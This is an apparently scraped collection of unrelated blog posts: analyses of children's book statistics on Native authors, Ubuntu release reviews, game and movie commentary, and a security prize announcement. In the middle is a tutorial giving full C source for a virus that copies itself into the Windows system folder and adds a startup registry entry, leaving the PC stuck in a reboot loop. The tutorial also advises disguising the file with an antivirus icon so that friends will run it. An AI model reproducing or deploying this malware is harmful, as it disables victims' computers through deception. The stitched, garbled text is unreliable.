A Close Look at CCBCs 2016 Data on Books By About American Indians First Nations
Eds. note: See AICLs list for 2016. On February 15, 2017, Cooperative Childrens Book Center (CCBC) at the University of Wisconsin released its statistics on the numbers of childrens books by/about American Indians/First Nations and People of Color during the year 2016. This is vitally important work that CCBC has been doing for many years. Two important things to know about these statistics (I am not critical of CCBC at all in noting these two things; doing some of this work myself, I know how very hard it is to do, to get books, and then to categorize/analyze them). The data is based on books that are sent to them. Small publishers generally cannot afford to send books out to review journals, bloggers, or centers like CCBC. That means books by small publishers who do great books by/about Native peoples may not be included in the data. It also means, however, that books by small publishers (or self published books) who do stereotypical books by Native people may not be included. The data is statistical. It is a count. It is not about the quality of the books on the list. To see what they recommend, see CCBC Choices. CCBC sent me the log of Native books for their 2016 counts. For the last few years I have been taking a close look at their log, focusing on fiction (as tagged by CCBC; books tagged as picture books are not included in this list) published by US publishers. Heres what I see. Note! Books in blue font are ones I recommend. Books in red font are ones I do not recommend. Books in bold are from "Big Five" publishers. Book in plain, black font are ones I have not read, with one exception (I have mixed feelings about Alexies book.) Fiction, US Publishers (books in bold are by one of the Big Five publishers) Heres the list of fiction written by Native people (N = 4):
Bruchac, Joseph. The Long Run. 7th Generation
Bruchac, Joseph. Talking Leaves. Dial/Penguin
Erdrich, Louise. Makoons. HarperCollins
Smelcer, John. Stealing Indians. Leapfrog Press (Note: Smelcers claim to Native identity is contested)
Now heres the books on the CCBC list, by writers who are not Native (N = 17):
Abbott, E. F. Mary Jemison: Native American Captive. Feiwel and Friends/Macmillan
Carson, Rae. Like a River Glorious. Greenwillow/HarperCollins
Flanagan, John. Brotherband: The Ghostface. Penguin
Heacox, Kim. Jimmy Bluefeather. Alaska Northwest Books
Hitchcock, Bonnie Sue. The Smell of Other Peoples Houses. Wendy Lamb/Penguin
Inglis, Lucy. Crow Mountain. Scholastic
Harrison, Margot. The Killer in Me. Hyperion/Hachette Book Group
Lewis, Ali. Timber Creek Station. Carolrhoda Lab
MacColl, Michaela. The Lost Ones. Calkins/Highlights
Mann, J. Albert. Scar: A Revolutionary War Tale. Calkins/Highlights
Massena, Ed. Wandmaker. Scholastic
Oppel, Kenneth. Every Hidden Thing. Simon and Schuster
Patel, Sonia. Rani Patel in Full Effect. Cinco Puntos Press
Reeve, Kirk. Sun Father Corn Mother. Sun Stone Press
Stokes, Jonathan. Addison Cooke and the Treasure of the Incas. Philomel/Penguin
Velasquez, Crystal. Circle of Lies (Hunters of Chaos, Bk 2). Aladdin/Simon and Schuster
Who publishes what? In 2016, the Big Five published two Native writers (Bruchac and Erdrich). Of those two, Ive read and recommend Makoons. Bruchacs book is out for review.
In 2016, the Big Five published eight non-Native writers (Abbott, Carson, Flanagan, Hitchcock, Harrison, Oppel, Stokes, and Velasquez). Of those eight, Ive read and do not recommend Carson, Hitchcock, and Harrison (not all reviews are online yet). I also do not recommend some of the non-Native books from small publishers: Flood, MacColl, Mann, Massena (not all reviews are online yet).
A comparison between 2015 and 2016
---------------------------------------------------2015--------------2016------- Books by Native writers............................3......................4............ Books by Non-Native writers....................7.....................17...........
From US publishers, there were 10 in 2015. For 2016, it is 21. That is a huge change, but it is due to non-Native writers. Of the 17, Ive read eight and found all of them lacking in some way. What will I find if I read the other nine? Based on experience, Im not optimistic. Ernie Cox, at Reading While White, reviewed Abbotts book about Mary Jemison. I trust his review. I think it would end up on my not recommended list.
Theres more to do, in terms of analyzing CCBCs data. Thats what Ive got, for now.
___________________________________
Update, Feb 23 2017, 10:20 AM -- back to list titles in fiction/Canada, and picture books in US and Canada.
Fiction, Canadian Publishers. (Note: none in either category are by Big Five publishers.)
Native Writers (N = 2):
Currie, Susan. The Mask That Sang. Second Story Press
McLay, R. K. The Rahtrum Chronicles. Fifth House
Non-Native Writers (N = 4)
Bass, Karen. The Hill. Pajama Press
Koner, Miriam. Yellow Dog. Red Deer Press
Ouriou, Susan. Nathan. Red Deer Press
Richardson, Eve. Saving Stevie. Red Deer Press
It is interesting that there are not any books from the Big Five. The Big Five are in Canada, too, with "Canada" tagged on.
For example, Robbie Robertsons Testimony is published by Knopf Canada, which is part of Penguin Random House Canada. It is non-fiction, by the way, and it isnt meant for children. It came out in 2016. My guess is that it wasnt sent to CCBC. Robertson is Native. Another example is Joseph Boydens Three Day Road. It is published by Penguin Canada. It came out in 2008, in the adult market, but is assigned to high school students. Boyden is not Native.
___________________________________
Picture books, US Publishers:
Native writers (N = 2):
Alexie, Sherman; illustrated by Yuji Morales. Thunder Boy Jr. Little Brown
Connally, Judy Shi, and Lawana Tomlinson Dansby; illustrated by Norma Howard. My Choctaw Roots. Choctaw Print Services.
Non-Native writers (N = 3)
Burton, Jeffrey; illustrated by Sanja Rescek. The Itsy Bitsy Pilgrim. Little Simon
Lai, Trevor. Tomo Explores the World.
Marshall, Linda Elovitz; illustrated by Elisa Chavarri. Rainbow Weaver = Tejedora del acoiris. Childrens Book Press/Lee & Low.
___________________________________
Picture books, Canadian Publishers (none in either category are by Big Five publishers) Native writers (N = 9)
Avingaq, Susan and Maren Vsetula; illustated by Charlene Chua. Fishing with Grandma. Inhabit Media
Baker, Darryl; illustrated by Qin Leng. Kamik Joins the Pack. Inhabit Media
Dupuis, Jenny Kay (and Kathy Kacer); illustrated by Gillian Newland. I Am Not A Number. Second Story Press
Highway, Tomson; illustrated by Julie Flett. Dragonfly Kites/Pimithaagansa. Fifth House
Kalluk, Celina; illustrated by Alexandria Neonakis. Sweetest Kulu. Inhabit Media
50 000 Internet Defense Prize awarded today at USENIX Security
Graduate Research
Today, Facebook awarded $50,000 to a pair of security researchers who authored a peer-reviewed paper at the 23rd Annual USENIX Security Symposium on �Static Detection of Second-Order Vulnerabilities in Web Applications." The authors intend to use the funds to take their software prototype to the next level. As the program chair of the USENIX Security Symposium, I am delighted that Facebook selected our conference to search for the best defensive work that prevents vulnerabilities and reduces the effectiveness of attacks. Facebook intends to make this an annual prize, and may even increase the prize amount.
The reason I mention this award here is for the medical device community to think about effective strategies to encourage the security research community to engage in constructive problem solving to improve medical device security. I think the industry would see a shift in thinking if constructive problem solving were better rewarded.
There were things I saw at Penny Arcade Expothat I wanted to go on about. Something besides Microsoft trying to push us into our exciting Windows 8/Internet Explorer 9 future by providing the world middling adaptions of ancient Atari games for some reason.
There was one game at the Indie Megabooth that deserves special attention from all humans. Not only was it funny, but it has perhaps the best elevator pitch in the history of the human race:
OK. Youre a guy living in the suburbs. You have a wife, two kids, and a secret: Youre actually an octopus in disguise.
Obvious jokes aside, how can you not want to try that game? Especially when you know its called Octodad: The Dadliest Catch.
Octodad!
This game is the purest epitome of the Indie spirit. (Hows that for a pull quote?) Its unique, intriguing, utterly bananas, and no major publisher will ever do anything like it.
Sadly, the gameplay is focused on maneuvering the octopus, which means struggling to do normally simple tasks with an odd control scheme. I am a little skeptical about how much this particular style of gameplay can catch on. On the bright side, if its priced cheaply enough, it can make a ton of sales based on the "Oh God. I have to try this out." factor.
My unsolicited advice for the developers: If the game turns out to not be that fun, sell it for five bucks. Youll move a lot of copies based on morbid curiosity alone.
Edit: Oh, yeah. You can support Octodad at Steam Greenlight here. I voted for it. KEEP INDIE GAMES WEIRD!
A Close Look at CCBCs 2015 Data on Books By About American Indians First Nations
On February 23, the Cooperative Childrens Book Center at the University of Wisconsin released its statistics on the numbers of childrens books by/about American Indians/First Nations and People of Color during the year 2015. Their data is based on books that are sent to them. It is raw data that does not address the quality of the books themselves. This data is important and Im very glad they collect it. I use it in my work.
In 2015, CCBC estimates that they received about 3,400 books. Dr. Sarah Park Dahlen at St. Catherine University, working with illustrator David Huyck, Molly Beth Griffin, and several others (including me), created a graphic that depicts the CCBC data for 2015. Kudos to Sarah for getting it done. David Huycks idea--to reflect the percentages by different sized mirrors--is excellent. Including animals, trucks, etc., is also excellent because it tells us that there are more books about animals, trucks, etc. than about any individual demographic. Thats deeply troubling.
As of this writing (Thursday, September 15, 2016), the graphic has gone viral. It is being widely shared across social media. Im very glad to see that, but Im also seeing lots of assumptions about the data itself. My post today is a close look at the data specific to Native peoples and my attempt to look closely at that 0.9% on the graphic.
Earlier this year, CCBC sent me the list of books on their American Indian Log (it includes First Nations, Latin America, Pacific Islands, and New Zealand). There are a lot of ways to analyze their list. I may do more with the list in another post, but for now, Im focusing on fiction (according to CCBCs tags) published by US publishers.
Fiction, US publishers:
Heres the list of fiction written or illustrated by Native people (titles in blue are ones that AICL has recommended, here or elsewhere; titles in black have not been reviewed)
Bruchac, Joseph. Trail of the Dead. Published by Tu Books/Lee and Low (Apache)
Bruchac, Joseph. Walking Two Worlds. Published by 7th Generation (Iroquois)
Robertson, Robbie. Hiawatha and the Peacemaker. Published by Abrams Books for Young Readers. (Mohawk)
Now heres the books on the CCBC list, by writers and illustrators who are not Native (titles in red are ones that AICL reviewed here or elsewhere and did not recommend; titles in black have not been reviewed)
Bowman, Erin. Vengeance Road. Published by Houghton Mifflin Harcourt. (Apache)
Johnston, E. K. Prairie Fire. Published by Carolrhoda/Lerner. (Haida and Tseshaht)
Osborne, Mary Pope. Shadow of the Shark. Published by Random House. (Maya)
Rose, Caroline Starr. Blue Birds. Published by Penguin/Putnam. (Tribal nation not specified)
Shepherd, Megan. The Cage. Published by Balzer + Bray/HarperCollins. (Maori)
Velasquez, Crystal. Hunters of Chaos. Published by Aladdin/Simon and Schuster. (Mayan and Navajo)
Voelkel, J & P. The Jaguar Stones: The Lost City. Published by EgmontUSA. (Maya)
Who publishes what? In 2015, the Big Five publishers did not publish Native writers. Over half of the books the Big Five published misrepresent and/or stereotype Native peoples. As I found in the 2013 data set, Native writers get published by smaller publishers.
What does that mean? If teachers/librarians wanted to get all 11 of the fiction from US publishers on the 2015 CCBC list, theyd likely have a harder time getting those from the smaller publishers because those arent stocked in stores like ones from the major publishers. Given the poor quality in the books from the Big Five, children will most easily see problematic depictions of Native people.
Is there a focus on one Native people? Yes. There are 3 books with content specific to the Mayan people. I think thats interesting because this sample is US publishers. We might expect that, in sum, wed see them publishing books about US tribal nations, but, no! It is very hard to make generalizations based on such a tiny set of data, but what do you think?
What settings (chronologically) get published? There are 11 books. Some are straight up historical fiction (Blue Birds). Several, like Shadow of the Shark are hard to categorize because theres time travel. I think this sample is not large enough to make any definitive statements about setting, but what do you see? What observations might you make?
The bottom line:
The Native child in the new graphic is holding a very small mirror. When you take a close look at the quality of the books that could be mirroring her in some way, what she gets is, primarily, distortions.
_____ This post was updated on September 16 to correct an error. Patty Loews book was incorrectly listed in the CCBC log as fiction. It is nonfiction and has therefore been removed from the list of books by small publishers, above.
First of all , I am sorry for taking hiatus from blogging, I was having my End Semester examination and hence wasnt able to devote much time to Blogging. Anyway , couple of days back Cannonical came out with new release of Ubuntu, Ubuntu 9.04 "Jaunty Jackalope" and being ardent follower of Ubuntu, I decided to take a look at some of the exciting new features in Ubuntu 9.04.
Ubuntu 9.04 does not boast of ground breaking or earth shattering new features but instead tries to be as simple as possible. Infact , compared to previous releases of Ubuntu it might be one of the least radical release.Ubuntu 9.04 is more of an update to the earlier release of Ubuntu. Though , there have been some significant changes in Ubuntu 9.04 which I try highlighting here.
I tried installing Ubuntu 9.04 on my Intel 965GM graphic chipset based laptop , only to discover that I was getting awful frame rate while playing HD or even Sub-HD videos. After spending some time on Google and Ubuntu forums , I found few Intel chipsets were blacklisted in this release of Ubuntu and would only be fully supported in Update to Ubuntu 9.04, which was kind of sad :( . However, I found one solution (is bit nerdy and could make your system unstable) which seemed to have got Graphic performance of my system back to awesome again. If you own one of these chipset based graphic card , you might like to see this post.
Ubuntu 9.04 is extremely fast and entire desktop loads up in a jiffy , Infact entire boot process and loading up of desktop took less then 45 seconds on my cranky old laptop. Another , awesome change in Ubuntu 9.04 is the new sleek interface and brand new visual notification system.
The new visual notification system does away with any sort of interaction element like buttons, this way Cannonical has tried reducing the distraction caused by notification popups. The notification bubbles are more aesthetic looking and are translucent. Multiple notifications pile up below one another , and hovering mouse over notification makes it translucent.Notification disappears automatically after few seconds.
Ubuntu 9.04 also includes a number of community themes which were optional in Ubuntu 8.10.Ubuntu 9.04 also has improved support for multiple monitors.
New Wave - One of the new themes included in Ubuntu 9.04
Ubuntu , has a entireley new log in screen and is extremely simple yet sexy. Ubuntu 9.04 has removed Shutdown option from the System menu and instead the only way you can switch off , hibernate , logout , lock your system is by clicking on small power button at the top right corner of the screen. I found this bit annoying, I have been used to Shut down option in System menu for some time now. One thing which pissed me off was the new update notification dialog box , unlike earlier releases where you had update icon in the bar, If updates were available. In Ubuntu 9.04 , update dialog box pops up every now and then and forces you to update your system(which is good , but this frequent popping up of update dialog box is annoying! ).
On technical side, Ubuntu 9.04 includes ext4 file-system which has support for extremely large files and is extremely fast, ext4 also allows you to defrag your drive which many Windows users might relate to. Though , ext4 is not enabled by default and you have to chose ext4 manually during partitioning.
Installation , has also been simplified with extremely user friendly time zone selector, which basically splits entire world map into different time zones and lets you chose your time zone graphically.
New Time Zone Selector :)
Ubuntu 9.04 includes OpenOffice 3.0.1 as Office Suite unlike Ubuntu 8.10 which carried older 2.x version of OpenOffice, Gnome 2.26 as desktop environment , Mozilla Firefox 3.0.9 and Kernel 2.6.28. Ubuntu 9.04 also to be future safe includes support for Cloud Computing.
Brasero - CD/DVD Burning tool
Ubuntu 9.04 has Brasero as its default CD burning application , it also provides backend functionality to nautilus for burning CDs.
Conclusion : In conclusion I am not going to claim that Ubuntu is going to beat Windows on desktop or we will see hordes of people jumping onto Linux bandwagon, but instead with Ubuntu 9.04 Cannonical has made Ubuntu 9.04 simple yet functional and I sincerely beleive simplicity is what is going to make people adopt Linux! Ubuntu is definately on right course and given proper oppurtunity(in forms of OEM adopting it) we will definitely see more and more people chosing Ubuntu as their primary desktop operating system.
Article Written by : Ambuj Varshney (blogambuj@gmail.com) For Linux on Desktop Blog , http://linuxondesktop.blogspot.com (C) 2009 , Ambuj Varshney
Apparently Japanese gaming mag Famitsu had two full page of information regarding the upcoming Gundam Xbox 360 game, Mobile Ops: The One Year War, and it looks awsome. Im hoping that being able to actually run around with these huge mechs will inspire the same kind of awe that I got while playing Shadow of the Colossus. With the exception of being able to control this huge beasts or do some serious damage. Is that too much to ask?
A Look at Final Fantasy XVs Latest 1 05 Update and Booster Pack Mini Review
Final Fantasy XV is a gift that keeps on giving and is really doing its best to keep everyone playing, whether its those who purchased it or those who bought the Season Pass holders like myself. This is a smart move considering the time between each of the upcoming character Episode DLCs and is a good way to stop the open world becoming stale and keep those still totally addicted like myself from becoming less addicted or worse, not playing at all. Normally I wouldnt write anything about an update to a game, but the 1.05 update added some really significant updates, such as timed quests and a higher level cap. On top of that, Season Pass holders also got the Booster Pack+ a day after the update so as a happy Final Fantasy XV fan, I wanted to give my thoughts on each new feature added to the game because some of them are pretty cool.
(Feel free to watch the video version!) Update 1.05
The new update to Final Fantasy XV adds some significant features and is available freely to anyone who owns the game. An exciting thing for those who own a PS4 Pro is probably the new Lite Mode that has a maximum of 60FPS and probably looks absolutely stunning. I dont own a PS4 Pro so I cant comment on this much, but it gives me a reason to be a little more jealous of everyone who does.
Also something I cant comment on much is the raised level cap as my characters are only just at level 80 as I write this (note: as I edit this, Ive hit level 100 woo!), but Im pretty excited for this. Usually levels are capped at level 99 in Final Fantasy games, but Final Fantasy XV players can enjoy getting up to level 120, which is a really cool change. I recently maxed out my characters skills and have missed having a goal to work towards, so its nice to know I can enjoy seeing my EXP go up for awhile. Also Im keen to have some totally OP characters for when I go verse a certain boss for a certain gold trophy and an curious to see if it will affect my enjoyment of XV. I do wonder if level cap increases will be a trend with future Final Fantasy XV updates, but even if its a one-off, its pretty damn cool.
The thing that had me most keen for the 1.05 update is the addition of Timed Quests. Ive written about how Im totally addicted to running around in Final Fantasy XVs world and Timed Quests are a great way to keep this interesting. The first one is pretty rewarding, with the current fun and challenging cactaur quest giving 10,000 EXP, 333 AP and 150,000 Gil upon first completion, plus cactaurs being 1000 EXP each anyway add up to a fantastic way to reach that new Level 120. This update is guaranteed to keep me checking back for those awesome rewards and I cant wait for more quests and hunts.
The last few updates are minor updates, but nonetheless help enrich the player experience in Final Fantasy XV. In case you were getting sick of hearing the Chocobo theme (is that possible?) while riding Chocobos, you can finally listen to the Audio Player while riding and if you wanted to listen to two tracks from NieR�s gorgeous soundtrack, you can do that now too. Prompto can also store 50 more photos (200 in total), which is nice since I havent been able to save new photos for awhile. The new update also takes out the Moogle Chocobo Carnival, which I�d already used to help me get my Fishing Skill to full and done pretty much everything in. The Chocobo music player and photo capacity probably shouldve been in XV already and are kind of insignificant at this point, but Ill take them and enjoy them anyway. All of these additions make a pretty solid upgrade to the base experience of XV and have already given me more reasons to keep playing.
Booster Pack+
The exclusive to Season Pass holders Booster Pack+ is a small little pack of items to mostly make fishing a little easier. The lack of a �wow� item in this pack is probably due to the delay of the Magitek Exosuit that is getting a redesign due to similarities to the Power Rangers� suits and was supposed to offer invisibility and a boost in fishing skills for a limited time. But the items are a nice little token for those with the season pass regardless. The Dragon Drain Rod and Avior Reel will be helpful for those upping their fishing skill; I dont overly care for these since mine is at max and I only really fished for new recipes and trophies. What I am enjoying is the Ragnarok sword, which packs a punch in battle and mostly just looks cool when warping due to it spitting a bunch of pink electrical looking stuff everywhere. It isnt however stronger than the Blood Sword I was using, so I may retire it soon, making the Booster Pack+ of little use to me.
Being honest, the Booster Pack+ is a tad lacklustre and is absolutely not worth getting the Season Pass for. But its an alright bonus for those like myself who have it already for the story episodes and if I ever decide to complete Noct�s fishing collection, Im sure Ill be at least a little happy I have it.
The real standout of these two additions to Final Fantasy XV is the free 1.05 update, but both it and the Booster Pack+ add nice little touches to enhance the current Final Fantasy XV. I enjoyed driving to the latest timed-quest while listening to music from NieR, and will be eagerly waiting for future timed-quests. Final Fantasy XV has been lucky to be getting so much support so far and I hope the addition of timed-quests among the other additions is a nod towards Final Fantasy XV getting support between each of its story episodes.
You can pick up Final Fantasy XV for Playstation 4 and Xbox One at Play-Asia.com
(This is an affiliate link that helps supports my JRPG Jungle content, so if you use it, thank you!)
What did you think of the Update and Booster Pack+? Are you still playing Final Fantasy XV? (I sure am...but I may need to take a break for NieR Automata :|) Leave a comment below, send me a tweet at @JRPGJungle, hit me up on Facebook, Youtube or Instagram and lets talk!
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A C Program to Restart the Computer at Every Startup
Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect�s this as a virus since I have coded this virus in C. So if you are familiar with C language then it�s too easy to understand the logic behind the coding.
Here is the source code.
#include<stdio.h> #include<dos.h> #include<dir.h> int found,drive_no;char buff[128]; void findroot() { int done; struct ffblk ffblk; //File block structure done=findfirst(�C:windowssystem�,&ffblk,FA_DIREC); //to determine the root drive if(done==0) { done=findfirst(�C:windowssystemsysres.exe�,&ffblk,0); //to determine whether the virus is already installed or not if(done==0) { found=1; //means that the system is already infected return; } drive_no=1; return; } done=findfirst(�D:windowssystem�,&ffblk,FA_DIREC); if(done==0) { done=findfirst(�D:windowssystemsysres.exe�,&ffblk,0); if (done==0) { found=1;return; } drive_no=2; return; } done=findfirst(�E:windowssystem�,&ffblk,FA_DIREC); if(done==0) { done=findfirst(�E:windowssystemsysres.exe�,&ffblk,0); if(done==0) { found=1; return; } drive_no=3; return; } done=findfirst(�F:windowssystem�,&ffblk,FA_DIREC); if(done==0) { done=findfirst(�F:windowssystemsysres.exe�,&ffblk,0); if(done==0) { found=1; return; } drive_no=4; return; } else exit(0); } void main() { FILE *self,*target; findroot(); if(found==0) //if the system is not already infected { self=fopen(_argv[0],�rb�); //The virus file open�s itself switch(drive_no) { case 1: target=fopen(�C:windowssystemsysres.exe�,�wb�); //to place a copy of itself in a remote place system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRun /v sres /t REG_SZ /d C:windowssystem sysres.exe�); //put this file to registry for starup break; case 2: target=fopen(�D:windowssystemsysres.exe�,�wb�); system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRun /v sres /t REG_SZ /d D:windowssystemsysres.exe�); break; case 3: target=fopen(�E:windowssystemsysres.exe�,�wb�); system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRun /v sres /t REG_SZ /d E:windowssystemsysres.exe�); break; case 4: target=fopen(�F:windowssystemsysres.exe�,�wb�); system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRun /v sres /t REG_SZ /d F:windowssystemsysres.exe�); break; default: exit(0); } while(fread(buff,1,1,self)>0) fwrite(buff,1,1,target); fcloseall(); } else system(�shutdown -r -t 0?); //if the system is already infected then just give a command to restart }
NOTE:COMMENTS ARE GIVEN IN BROWN COLOUR.
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again. It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE 2. Goto
X:WindowsSystem
(X can be C,D,E or F) 3.You will find a file by name sysres.exe, delete it. 4.Type regedit in run.You will goto registry editor.Here navigate to
There, on the right site you will see an entry by name �sres�.Delete this entry.That�s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don�t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I�ll explain the logic in a simplified manner. Here I�ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:WindowsSystem
3. If not it will just place a copy of itself into X:WindowsSystem and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:WindowsSystem directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.
AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file�s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it�s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .
Ubuntu is one of the most popular desktop Linux distribution and a few days back Beta version of its new upcoming Ubuntu 8.04 was released . Being such a huge Ubuntu fan i decided to give it a try now after spending almost 14 hours downloading the isos on slow internet connection of the university i am studying in I was finally able to review the latest of the Ubuntu distro scheduled to be released on 24th April.
The first thing that you notice after booting the Ubuntu 8.04 beta CD is that now no longer you have to boot the entire CD into Live Graphical mode to install . Now there is an option in the opening grub menu that allows you to install Ubuntu 8.04 without loading the entire desktop .However one thing i disliked about this installation procedure was that it is still graphical , yes graphical installation simplifies things but there are old computers lying around(with less than say 512 megabytes of RAM ) and its difficult to install Ubuntu using the graphical method on such PCs without having swap drive . Ubuntu Team might consider including a Text based installer too .
Opening Boot Screen of Ubuntu 8.04
Graphical Installer
Another significant addition to the installation process is inclusion of the windows based installer Wubi that allows easy installation of the Ubuntu on your Windows based desktop . Its a standalone graphical installer that installs entire Ubuntu desktop as a single file-image on your Windows drive without any need of partitioning or resizing of your existing partitions . Now this is a really welcome addition to the installation process because partitioning is one of the most difficult step of installation (which carries a risk of removing your entire data) so by eliminating that step ,Ubuntu team has made the entire installation process a lot more user friendly for people who are using Windows and want to try Ubuntu .
Wubi Installing Ubuntu 8.04 Inside Windows XP on my frnz PC
Now once the installation is over and you boot into your newly installed Ubuntu system , the thing that strikes you at first if you had been using the previous version of Ubuntu is updated theme and Wallpaper . Ubuntu 8.04 has a new theme based on the old Human theme and powered by the Murrine engine . The wallpaper features "The Heron" itself and the Login Manager has been updated too .
Updated Login Manager
New Wallpaper featuring " Heron"
Architecture wise Ubuntu 8.04 includes X.org 7.3 which adds the long demanded feature of dynamic resolution changing (Means you dont need to restart Xserver after changing resolution ). Ubuntu 8.04 also includes Pulseaudio sound server which is advanced sound playing architecture allowing things like per-application sound settings, transferring the audio to a different machine, changing the sample format or channel count and mixing several sounds into one it does so by acting as proxy for your sound applications. It allows you to do advanced operations on your sound data as it passes between your application and your hardware.
Ubuntu 8.04 includes a crash reporting tool that sends information about the crash to the Ubuntus Launchpad(You would be seeing this a lot in beta version , the beta version i tested crashed a lot ) .All the earlier Ubuntu version were lacking a proper System Monitor and Ubuntu 8.04 does its bit of addressing this problem by inclusion of a really impressive System Monitor Application .
World View Applet
Ubuntu 8.04 comes with Gnome 2.22 and has a number of interesting features and additions including the new World View applet :) .
System Monitor Application
There have been security improvements, including better memory protection and a fine-grained access control system called PolicyKit.
Software wise there are number of interesting additions .
Firefox 3 Beta 4 is included with Ubuntu 8.04 Beta and Firefox 3 would most probably be included with the final release of Ubuntu 8.04 .
Ubuntu 8.04 Beta comes with Brasero for CD/DVD burning . It is a neat application with simple looks allowing one to burn CD/DVD easily , however you might like to install a more mature and hmmm User Friendly DVD/CD burning tool like k3b .
Also included is Transmission which is a very popular BitTorrent client and
// Inkspace a vector graphics editing tool has PDF graphics editing support .
Firefox 3 Beta -- Hmmm this list with name and address bar sucks seriously
Changes in Ubuntu 8.04 includes :
Inclusion of Gnome 2.22
X.org 7.3
Linux kernel 2.6.24-12.13
Pulseaudio
Policykit
Firefox 3 Beta 4
New apps like Transmission , Inkspace , Brasero etc
Brand new firewall
Conclusion : Ubuntu 8.04 Beta promises a lot and is shaping up to be a interesting update .The most important change/addition in 8.04 is simplification of installation procedure with inclusion of tool like Wubi making installation of Ubuntu on Windows based systems really easy. Firefox 3 and Brasero are welcome addition to Ubuntu . Also Ubuntu 8.04 seems pretty nippier and faster compared to the earlier releases . In short Ubuntu 8.04 is turning out to be an update worth waiting for .
Article Written by : Ambuj Varshney (blogambuj@gmail.com) For Linux on Desktop , http://linuxondesktop.blogspot.com (C) 2008 , Ambuj Varshney
If Nintendo was going for the less is more look for their box art for their Wii games, I would say they succeeded. I like it and I think it works pretty well. Its not all big and flashy and all "look at me, Im a Wii game!!".
A Couple of Cheap Shots at Big Movies Because Im So Smart
I just went to see the new Batman movie, which was so long that I am still watching it. Its about a guy named Bane with a weird accent and a bunch of issues, who is only defeated when the good guys finally manage to figure out his secret weakness. (Spoiler: Its bullets.)
Since its a Big Hollywood Movie, it was preceded by trailers for all the other upcoming Big Hollywood Movies. Two of them attracted my notice ...
Jack Reacher (Trailer here. It is worth watching, as this movie will be genuinely terrible.)
This is about a violent gun guy who goes on adventures and beats people up and "doesnt care about proof, doesnt care about the law. He only cares about whats right." Which all sounds great until you find out hes Tom Cruise.
Im sorry, but is there one single person here on Gods Green Earth (besides Tom Cruise) who thinks its a good idea to give Tom Cruise arbitrary power over anything bigger than a Hot Dog On a Stick franchise?
"Remember, you wanted this."
NO! I REALLY DIDNT!
The Hobbit (Trailer here. Watch it before they split it into three parts.)
I cant say much about the upcoming Hobbit movies, though I hear the the novelization of the film by J.R.R.R. Tolkineinin is above average. I know that the world created in the prequels by Peter Jackson is an interesting one, though overly dependent on tired fantasy tropes.
I do, however, have some qualms with the decision to split the book up into three (THREE!) movies. Im sorry, but you cannot do this with any book whose big, dramatic high point is a RIDDLE CONTEST.
Seriously, when I was a kid, they could wrap this crap up in 77 minutes, and that version even found time to put in Tom Bombadil.
I was really looking forward to it until I saw this trailer, with its wacky dwarves, interminable pacing, and refreshing lack of action or incident. Three movies? Dear God. This adaption will be so long that Im already watching it.
Jim Beams publicity stunt of selling whisky in bottles that look like cars and other things was brilliant. People who arent bottle collectors still buy the ones that pertain to their hobby, they are that well made
The ladder in the above photo on the left side is the below 2 photos
